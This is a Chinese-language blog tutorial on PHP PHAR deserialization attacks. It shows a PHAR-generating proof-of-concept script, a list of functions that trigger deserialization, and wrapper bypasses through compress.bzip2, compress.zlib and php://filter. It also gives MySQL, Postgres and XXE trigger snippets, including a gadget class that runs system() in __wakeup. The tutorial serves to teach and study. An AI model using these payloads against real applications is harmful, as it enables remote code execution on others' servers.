前言
本来是打算放在文件包含中讲这个协议的,但发现用到的东西太多,干脆单拿出来写好了。
phar是一个专属于php的文件格式,在2018年的Black Hat上,安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it
,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。而实际中,phar文件可以通过包含读取来触发反序列化,而不需要像传统反序列化那样,需要一个可控的unserialize()。
phar
在漏洞介绍前,先来看一下什么是phar
PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP5.3以后就可以直接使用。
PHAR文件的本质同JAR一样,都是一种特殊的压缩文件,所以将后缀改为zip后是可以解压的。那么相对的,读取phar文件所用到的伪协议phar://
也是可以打开压缩文件的,这也是我们之前提到的一种利用方法。
PHAR文件缺省状态是只读的,使用Phar文件不需要任何的配置。但我们在构筑脚本时需要生成phar文件,此时应在php.ini
中关闭phar.readonly
。
phar文件结构
- 文件标识头
格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。 - 压缩文件信息
phar本质上是一种压缩文件,那就有存储文件的地方。第二段a manifest describing the contents
,这是存放压缩文件权限、属性等信息的地方,这部分还会以序列化的形式存储用户自定义的meta-data,是反序列化的攻击点。 - 压缩文件内容
存放phar内的文件,这部分无关紧要,有东西存进去就好。 - 数字签名
放在文件末尾,格式如下
生成poc
<?php class Test { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new Test(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
受影响函数
大佬整理:
//exif exif_thumbnail exif_imagetype //gd imageloadfont imagecreatefrom***系列函数 //hash hash_hmac_file hash_file hash_update_file md5_file sha1_file // file/url get_meta_tags get_headers //standard getimagesize getimagesizefromstring // zip $zip = new ZipArchive(); $res = $zip->open('c.zip'); $zip->extractTo('phar://test.phar/test'); // Bzip / Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过 $z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt'; $z = 'compress.zlib://phar:///home/sx/test.phar/test.txt'; //配合其他协议:(SUCTF) //https://www.xctf.org.cn/library/details/17e9b70557d94b168c3e5d1e7d4ce78f475de26d/ //当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。 //php://filter/read=convert.base64-encode/resource=phar://phar.phar //Postgres pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。 <?php $pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456")); @$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa'); ?> // Mysql //LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper //配置一下mysqld: //[mysqld] //local-infile=1 //secure_file_priv="" <?php class A { public $s = ''; public function __wakeup () { system($this->s); } } $m = mysqli_init(); mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true); $s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'testtable', 3306); $p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;'); ?> //XXE //xxe也可以触发phar,将phar改为xml再经行读取 <?xml version="1.0"?> <!DOCTYPE root[ <!ENTITY c SYSTEM "phar:///upload/phar.xml"> ]> <ticket><username>&c;</username><code>test2</code></ticket>
Comments | NOTHING